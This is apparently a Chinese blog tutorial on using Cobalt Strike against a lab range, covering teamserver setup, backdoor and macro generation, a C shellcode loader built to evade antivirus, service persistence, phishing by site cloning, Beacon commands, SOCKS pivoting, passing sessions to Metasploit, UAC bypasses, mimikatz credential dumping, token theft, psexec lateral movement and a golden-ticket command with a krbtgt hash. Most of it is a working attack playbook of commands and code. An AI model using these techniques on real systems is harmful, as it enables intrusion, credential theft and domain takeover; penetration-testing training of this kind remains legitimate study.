当前位置:网站首页>cobalt strike 的基础使用
cobalt strike 的基础使用
2022-08-03 05:25:00 【许我写余生ღ】
cobalt strike 的基础使用
本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。
前言
Cobalt Strike是一款基于java的渗透测试神器,常被业界人称为CS神器。自3.0以后已经不在使用Metasploit框架而作为一个独立的平台使用,分为客户端与服务端,服务端是一个,客户端可以有多个,非常适合团队协同作战,多个攻击者可以同时连接到一个团队服务器上,共享攻击资源与目标信息和sessions,可模拟APT做模拟对抗,进行内网渗透。
Cobalt Strike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。
目录结构
│ agscript # 拓展应用的脚本
│ c2lint # 检查profile的错误异常
│ cobaltstrike
│ cobaltstrike.jar # 客户端程序
│ icon.jpg
│ license.pdf
│ readme.txt
│ releasenotes.txt
│ teamserver # 服务端程序
│ update
│ update.jar
│
└─third-party # 第三方工具
README.vncdll.txt
vncdll.x64.dll
vncdll.x86.dll
个人定制
- Cobalt Strike可以使用 AggressorScripts脚本来加强自身,能够扩展菜单栏,Beacon命令行,提权脚本等
- Cobalt Strike通信配置文件是 Malleable C2 你可以修改 CS的通讯特征,Beacon payload的一些行为
- Cobalt Strike可以引用其他的通讯框架ExternalC2,ExternalC2是由Cobalt Strike提出的一套规范/框架,它允许黑客根据需要对框架提供的默认HTTP(S)/DNS/SMB C2 通信通道进行扩展。
启动运行服务端
cobalt strike 分为服务端和客户端
团队服务器最好运行在Linux平台上,服务端的关键文件是 teamserver
和 cobaltstrike.jar
,将这两个文件放在同一目录下运行:
# 启动服务端,监听IP 10.10.10.11,连接密码为:123456(搭建在外网的时候一定要设置强密码)
sudo ./teamserver 10.10.10.11 123456
# 详细命令说明:
# ./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD]
# <host> 必需参数 团队服务器IP
# <password> 必需参数 连接服务器的密码
# [/path/to/c2.profile] 可选参数 指定C2通信配置文件,体现其强大的扩展性
# [YYYY-MM-DD] 可选参数 所有payload的终止时间
# 如果遇到没有权限执行,使用以下命令添加执行权限
sudo chmod +x teamserver
上面的命令只有关闭了终端就会结束,我们可以使用以下命令来把服务放到后台运行,防止关闭终端会结束服务。
sudo nohup ./teamserver 192.168.0.190 123456 &
修改默认端口
修改默认的端口只需要修改 teamserver 文件中的配置即可。
sudo vim teamserver
客户端连接
Windows 客户端连接:
点击 start.bat
Linux 客户端连接:
运行以下命令:
sudo ./cobaltstrike
基础使用
后门生成模块的使用
在生成后门界面中,给我们内置了五种后门生成方案。
分别为:
- HTA文档
- Office 宏
- Payload 生成器
- Windows 可执行程序(EXE, DLL)
- Windows 可执行程序(Raw, Powershell)
HTA文档
是后门的一种
这里他给我们提供了3种生成方式 exe,powershell,vba。其中VBA方法需要目标系统上的MicrosoftOffice,在系统支持的情况下我们一般选择powershell,因为这种方式更加容易免杀。通常我们结合host File(文件下载功能) 来实行钓鱼。
Office 宏
设置完成后,保存文件为dotm后缀名。
payload生成器
cs里 提供一个payload生成器,因为默认的shellcode容易被杀毒软件发现,可以编写shellcode加载器运行payload 达到免杀的效果。
这里使用师傅的c/c++加载器,使用vs2019编译。
#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")// 不显示窗口
unsigned char shellcode[] = "\xfc..";;
void main()
{
LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT |
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (Memory == NULL) { return; }
memcpy(Memory, shellcode, sizeof(shellcode));
((void(*)())Memory)();
}
编译记得使用Release模式而不是Debug 生成 否则会出现错误
windows可执行程序
提供三种生成类型:
- windwos可执行程序 直接双击运行
- windwos服务程序 可以使用sc命令做成服务程序
sc create "server1" binpath= "C:\WINDOWS\Temp\server1.exe"
sc description "server1" "description"
sc config "server1" start= auto
net start "server1"
执行之后 是system权限,这种方法cs留后门的一种方法。
- windows dll文件
在windows的system文件夹下有一个regsvr32.exe的程序,它就是windows自带的activex注册和反注册工具。(activex不注册是不能够被系统识别和使用的,一般安装程序都会自动地把它所使用的activex控件注册)。Regsvr32命令用于注册COM组件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。
regsvr32 命令详解:
"regsvr32 [/s] [/n] [/i(:cmdline)] dllname”
# 其中dllname为activex控件文件名,建议在安装前拷贝到system文件夹下。
参数有如下意义:
/u # 反注册控件(卸载com组建)
/s # 不管注册成功与否,均不显示提示框(静默模式,不弹框)
/c # 控制台输出
/i # 跳过控件的选项进行安装(传给DllInstall的参数内容,regsvr32 允许注册过程中 dll 进行一些自定义的安装过程,该过程在 DllInstall 中实现。)
/n # 不注册控件,此选项必须与/i选项一起使用
Scrobj.dll # com服务器,全名Windows Script Component,DllInstall方法在这个组件中实现。
Regsvr32.exe 直接调用dll程序
c:\Windows\System32\regsvr32.exe C:\Windows\Temp\artifact.dll
windwos可执行程序 (Stageless)
添加了多种方式上线cs。
介绍:Staged 和 Stageless 的区别. 前者的实际功能只是和 C2 建立连接并接收 Payload, 然后加载执行,而 Stageless 直接省去了接收 Payload 的步骤. Stageless 生成除了的 Payload 都会比 Staged 类型的要大很多, 而且包含了特征明细。
web钓鱼模块
cs提供了钓鱼模块 方便渗透测试人员进行钓鱼。
Manage # 对开启的web服务进行管理;
Clone Site # 克隆网站,可以记录受害者提交的数据;
Host File # 提供一个文件下载,可以修改Mime信息;
Scripted Web Delivery # 类似于msf 的web_delivery ;
Signed Applet Attack # 使用java自签名的程序进行钓鱼攻击;
Smart Applet Attack # 自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本;
System Profiler # 用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等。
站点管理
这里主要是cs自带的web服务,访问ip加上端口 则可以访问。
克隆网站
这个模块主要的作用 克隆一个网站 发送给受害者 受害者访问的时候 可以收集受害者提交的信息,同时也可以选择攻击下载文件。
成功克隆网站并且弹出后门下载
信息模块
这个主要是生成一个页面 让受害者访问 收集受害者的浏览器系统信息
浏览器访问 http://10.10.10.11:80/baidu
收集的信息在web日志中查看
邮件钓鱼
首先准备eml的钓鱼模板 这个模板可以在qq邮箱里导出
准备模板后 选择邮箱钓鱼模板
点击发送即可 模板上可以看到 url跳转到准备好的url上。
Beacon的使用
Beacon是Cobalt Strike为高级攻击者建模的Payload。使用Beacon通过HTTP,HTTPS或DNS出口网络。而且Beacon非常灵活,支持异步和交互式通信。异步通信既低又慢。Beacon将通讯本地,下载任务,然后进入睡眠状态。交互式通信实时发生。
beacon的命令
Command Description
------- -----------
argue 命令行参数欺骗
blockdlls 禁止子进程加载非微软签名的dll
browserpivot 注入浏览器进程代理用户已认证身份(仅支持IE)
cancel 取消正在下载的文件
cd 跳转目录
checkin 强制目标回连并更新状态(用于DNS上线,DNS模式下无新任务时目标不会回连Teamserver)
chromedump 提取Chrome保存的账号密码、Cookies等信息
clear 清空beacon任务队列
connect 通过TCP正向连接远程Beacon
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从域控提取密码hash
desktop 远程VNC控制用户桌面
dllinject 注入一个内存反射加载的dll到目标进程
dllload 使用LoadLibrary方式在目标进程中加载一个dll
download 下载文件
downloads 列出所有正在下载的文件
drives 列出所有磁盘盘符
elevate 利用提权漏洞获取一个高权限Beacon
execute 在目标上执行程序(无回显)
execute-assembly 在目标上内存加载执行本地.NET程序
exit 结束当前Beacon会话
getprivs 在当前进程访问令牌(access token)中启用system特权
getsystem 尝试获取SYSTEM用户权限
getuid 获取当前进程访问令牌(access token)的用户信息
hashdump 获取本地用户hash
help 帮助信息
inject 在指定进程中注入新的Beacon会话
inline-execute 在当前会话中执行Beacon Object File
jobkill 结束一个后台任务
jobs 列出所有后台任务
jump 在远程机器上植入Beacon(横向移动)
kerberos_ccache_use 从ccache文件导入kerberos票据到当前会话中
kerberos_ticket_purge 清空当前会话中的所有kerberos票据
kerberos_ticket_use 从ticket文件中导入kerberos票据到当前会话中
keylogger 开启键盘记录
kill 结束指定进程
link 通过命名管道正向连接远程Beacon
logonpasswords 使用mimikatz获取密码和hash
ls 列出目录文件
make_token 创建进程访问令牌(access token),仅用于访问网络资源
mimikatz 运行mimikatz
mkdir 创建目录
mode dns 使用DNS A记录作为数据通道(仅支持DNS上线Beacon)
mode dns-txt 使用DNS TXT记录作为数据通道(仅支持DNS上线Beacon)
mode dns6 使用DNS AAAA记录作为数据通道(仅支持DNS上线Beacon)
mv 移动文件
net 网络和主机探测工具(内置net命令)
note 给当前会话添加备注信息
portscan 网络端口扫描
powerpick 内存执行Powershell命令(不调用powershell.exe)
powershell 通过powershell.exe执行Powershell命令
powershell-import 导入本地powershell脚本到当前会话中
ppid 为所有新运行的进程设置伪造的父进程PID
printscreen 使用PrintScr方式截屏
ps 显示进程列表
psinject 注入到指定进程后在内存中执行Powershell命令(不调用powershell.exe)
pth 使用Mimikatz执行Pass-the-hash
pwd 显示当前目录
reg 查询注册表
remote-exec 在远程机器上执行命令(横向移动)
rev2self 恢复原始进程访问令牌(access token)
rm 删除文件或文件夹
rportfwd 反向端口转发(从Cobalt Strike Teamserver发起连接)
rportfwd_local 反向端口转发(从Cobalt Strike客户端发起连接)
run 在目标上执行程序(有回显)
runas 以另一个用户身份执行程序
runasadmin 以高权限执行程序
runu 以另一个进程PID作为父进程PID,并以其用户身份执行程序
screenshot 截屏
screenwatch 屏幕监控,每隔一段时间截屏
setenv 设置环境变量
shell 使用cmd.exe执行命令
shinject 注入shellcode到指定进程中
shspawn 创建傀儡进程并注入shellcode到其中运行
sleep 设置beacon回连间隔时间
socks 启动SOCKS4a代理服务器
socks stop 停止SOCKS4a代理服务器
spawn 创建一个新Beacon会话
spawnas 以另一个用户身份创建一个新Beacon会话
spawnto 设置创建新进程时使用的可执行文件路径(傀儡进程的宿主exe文件路径)
spawnu 以另一个进程PID作为父进程PID,并以其用户身份创建一个新Beacon会话
spunnel 运行第三方agent shellcode并将其反向代理到控制端(从CobaltStrike Teamserver发起连接)
spunnel_local 运行第三方agent shellcode并将其反向代理到控制端(从CobaltStrike客户端发起连接)
ssh 通过SSH连接远程主机(使用账号密码认证)
ssh-key 通过SSH连接远程主机(使用证书私钥认证)
steal_token 从指定进程中窃取访问令牌(access token)
timestomp 复制B文件的创建、访问、修改时间戳到A文件(文件时间戳伪造)
unlink 断开与beacon的连接(用于通过TCP、命名管道连接的beacon)
upload 上传文件
同样的这些命令也有图形化的按钮。
端口扫描
流量探测 端口扫描 选择扫描存活的方式 arp icmp 选择扫描的网卡 也可以指定端口
网络探测
beacon 提供net命令 以下是这个命令的一些常用方法
beacon> help net
Use: net [命令] [参数]
Beacon内置的主机和网络枚举探测工具。 支持的 [命令] 列表有:
命令 描述
------- -----------
computers 列出域中的主机(通过组)
domain 显示该主机的域
dclist 列出域控制器
domain_controllers 列出域控制器(通过组)
domain_trusts 列出域信任
group 列出组中的成员组和成员用户
localgroup 列出本地组中的成员组和成员用户
logons 列出登录到指定主机的用户
sessions 列出指定主机上的会话
share 列出指定主机上的共享
user 列出用户和用户信息
time 显示指定主机上的时间
view 列出域中的主机(通过browser服务)
查看网络信任主机
列出域控
这里我没有开启域控的主机所以显示没有域控。
浏览器代理
先把beacon 简介时间设置为0 sleep 0
先把 beacon 设为交互模式。因为浏览器跳板是通过 beacon 会话来隧道通信传输数据的,所以 beacon连接到团队服务器的频率会影响浏览器跳板的同步性。所以要把 beacon 会话设为交互模式来实现最好的效果
然后设置浏览器跳板代理( agent )。这一步实际上会完成两个任务:
- 将 agent 程序注入受害机器的 IE 浏览器进程
- 在团队服务器的一个端口上开启一个 HTTP 代理服务器
实际上,这个过程也可以通过 browserpivot 命令来实现。效果是等同的。 停止方式 browserpivot stop
如果目标上 登录 某些网站 通过设置浏览器代理后,访问网站即可登录
访问目标网站
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4s89RIQz-1659187783610)(…/…/…/AppData/Roaming/Typora/typora-user-images/image-20220730184326927.png)]
代理转发
socks代理
使用socks代理
在指定端口上启动SOCKS4a代理服务器,该服务器将通过当前Beacon中继网络连接
- teamserver 192.168.150.145
- win 7 192.168.150.166 10.10.10.135
- 12server-ad02 10.10.10.137
使用cs获取 win 7 权限 设置socks代理
设置 sudo vi /etc/proxychains4.conf
socks4 192.168.0.145 3652
proxychain4 调用 nmap 扫描 目标机子
proxychains4 nmap -sT -Pn 10.10.10.137 -p 445
metasploit 使用这个代理
setg Proxies socks4:192.168.0.195:1080 # 设置全局代理
setg ReverseAllowProxy true # 允许反向代理,通过socks反弹shell,建立双向通道。(探测可以不设置此项)
转发上线
转发监听器可以利用已攻陷的机器作为代理,为其他Beacon会话的中转网络流量,即内网其他机器可通过连接攻陷机器上线。
- teamserver 192.168.150.145
- win 7 192.168.150.166 10.10.10.135
- 目标机器 10.10.10.137
首先新建监听器 监听器使用当前会话
接着新成后门 选择这个rve监听器
在目标机器执行 beacon 上线
切换视图
这种方式也可用于多层网段反向上线。
VPN部署
为CovertVPN新建一个虚拟机网卡和监听器。当部署CovertVPN客户端后,你将相当于在目标网络中拥有一个二层网络的tap接口
新建vpn 选择网卡
在团队服务器中,配置刚刚的 VPN 接口:
先连接到刚刚的 VPN 接口,能找到此设备:
在kali上
sudo ifconfig phear0 10.10.10.0/24
对内网10段进行代码扫描
nmap -sT -Pn 10.10.10.137 -p 445
回到 CS 的 VPN Interfaces 这里可以看到数据走 VPN 在收发:
会话操作
Cobalt Strike 的 Beacon 最初是一个稳定的生命线,让你可以保持对受害主机的访问权限。从一开始,Beacon 的主要目的就是向其他的 Cobalt Strike 监听器传递权限。使用 spawn 命令来为一个监听器派生一个会话。此 spawn 命令接受一个架构(如:x86,x64)和一个监听器作为其参数。默认情况下, spawn 命令会在 rundll32.exe 中派生一个会话。
spwan派生会话
beacon> help spawn
Use: spawn [x86|x64] [监听器]
spawn [监听器]
# 创建一个x86或x64傀儡进程,并注入运行从 [监听器] 生成的shellcode
我们可以看到又多了一个会话。
注入进程获取会话
有的进程会失败,可以多尝试一下其他进程。
cobalt strike 与 msf 联动
cobalt strike派生会话到msf
当Cobaltstrike获取到上线主机后,有时候需要传递会话到MSF,操作如下:
首先建立新的Foreign HTTP监听器,设置IP为MSF接收的IP,设置Port是一会儿MSF监听的端口
这里我的msf和cs是在同一个主机上,大家根据自己的真实情况进行修改。
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.150.145
set lport 8888
run
设置cs监听器
在beacon使用命令 spawn cs->msf
会话会派生到msf里
msf运行后会收到会话
metasploit 派生会话到 cs
如果Metasploit已经获取到了一个会话,可以通过payload_inject模块进行会话派生,将会话传递到Cobaltstrike
首先建立监听器
在msf种选择 payload_inject 模块 设置参数 disablepayloadhandler
禁止msf监听
use windows/local/payload_inject
set disablepayloadhandler true
set paylaod windows/meterpreter/reverse_http
set lhost 192.168.150.145
set lport 8999
set session 1
exploit
查看cs成功上线
CS 后渗透操作
在cs中有一个凭证提权模块
获取hash
提权
ms14-058/ms15-051/ms16-016/ms16-032
这些都是大家耳熟能详的Windows本地提权漏洞,在此插件中都已经集成
UAC-DLL
这是一种绕过UAC的攻击,它试图将本地管理员运行的有效负载从低权限提升到高权限。此攻击使用UAC漏洞将ArtifactKit生成的DLL复制到特权位置。此攻击适用于Windows7和Windows8及更高版本的未修补版本。
uac-token-duplication
这是另一种绕过UAC的攻击,将其从低权限提升到高权限(作为本地管理员)。这种攻击使用一个UAC漏洞,允许非提升进程使用从提升进程中窃取的令牌启动任意进程。此漏洞要求攻击删除分配给提升令牌的多个权限。此攻击适用于Windows7及更高版本。如果AlwaysNotify处于其最高设置,则此攻击要求提升的进程已在当前桌面会话中运行(作为同一用户),此漏洞使用PowerShell生成会话。
Uac-eventvwr
这种提权方法是利用时间查看器eventvwr,通过注册表之后,执行Eventvwr.exe会自动加载我们的A.exe(exp),这个时候他的权限就是高了,成功绕过UAV
Uac-wscript
这种绕过uac提权的方法最初是在Empire框架中现身的,该方法只针对Windows7有效提权方式 在网上找好的插件进行提取
获取明文
使用命令 logopasswords
获取hash 和明文
横向渗透
横向渗透攻击技术是复杂网络攻击中广泛使用的一种技术,特别是在高级持续威胁(AdvancedPersistent Threats,APT)中更加热衷于使用这种攻击方法。攻击者可以利用这些技术,以被攻陷的系统为跳板,访问其他主机,获取包括邮箱、共享文件夹或者凭证信息在内的敏感资源。攻击者可以利用这些敏感信息,进一步控制其他系统、提升权限或窃取更多有价值的凭证。借助此类攻击,攻击者最终可能获取域控的访问权限,完全控制基于Windows系统的基础设施或与业务相关的关键账户。在提权后,我们可以用mimikatz dump目标机的凭证,并进行内网横向移动
使用 net view
列出信任主机
1.psexec横移
在执行端口扫描后
目标视图中,选择一个目标,右键–>登录–psexec,即可选择凭证进行横向移动
右键 横向移动 选择合适的模块进行登录
可以看到我们成功的建立了ipc$ 连接。
2.窃取令牌
使用命令ps 寻找进程 接着命令steal_token pid pid是进程的id 选择合适权限的进程id即可
如果存在域管 也可以获取域管理权限
使用命令 rev2self
返回之前的权限。
3.制作令牌
使用make_token命令 将之前获取的 生成一个命令访问目标主机
这里以访问域控为例
beacon> help make_token
Use: make_token [域\用户名] [密码]
# 克隆当前访问令牌,并在访问网络资源时设置为指定的用户名和密码
make_token redteam\administrator QWEasd123
4.制作黄金票据
原理
黄金票据的原理就是用krbtgt的hash来伪造TGT的内容。更改里面的client参数与session key等。让TGS以为我就是那个我所声称的人,当然我一般会声称自己是administrator。第四步主要是来验证客户端的身份。
所谓的黄金票据其实就是kerberos认证的第二个阶段中的tgs的ticket也就是TGT。这个ticket相当于对请求端的一个身份认证的凭据,如果可以伪造这个ticket,那么就可以伪造任意身份,而黄金票据就是一个
实现方式。
首先使用命令获取 jump psexec64 ad01 smb 获取ad01的权限 得到权限后 命令 hashdump导出所有hash以及SID
域sid S-1-5-21-2536581826-3274276096-3456299113
域普通用户 命令 whoai /user 去掉后三位
mimikatz kerberos::golden /user:Administrator /domain:redteam.club /sid:S-1-5-21-2536581826-3274276096-3456299113 /krbtgt:689fe33346a9e9fe229395fb36178ecb /endin:480 /renewmax:10080 /ptt
访问 ad01 shell dir \\ad02\c$
获取dc权限 jump psexec ad01 ad02a
边栏推荐
猜你喜欢
随机推荐
队列方法接收串口的数据
什么是参数化设计,通过实操了解一下? | SOLIDWORKS 操作视频
window下VS2022封装动态库以及调用动态库
Makefile
ZEMAX | 探索 OpticStudio中的序列模式
A.1#【内存管理】——1.1.4 node: 初始化
ZEMAX | 如何围绕空间中的任何点旋转任何元素
c#,.net 下载文件 设置断点
自监督论文阅读笔记 SimCLRV2 Big Self-Supervised Models are Strong Semi-Supervised Learners
电子元器件之电子变压器可分为哪几类?
自监督论文阅读笔记Index Your Position: A Novel Self-Supervised Learning Method for Remote Sensing Images Sema
ZEMAX | 如何创建简单的非序列系统
VSCODE 常见问题
自监督论文阅读笔记DisCo: Remedy Self-supervised Learning on Lightweight Models with Distilled Contrastive
损失函数(第五周)
优雅的拦截TabLayout的点击事件
常见的电子元器件分类介绍
block底层探索
Dynamic adjustment subject web system?Look at this one is enough
ZEMAX | 探究 OpticStudio 偏振分析功能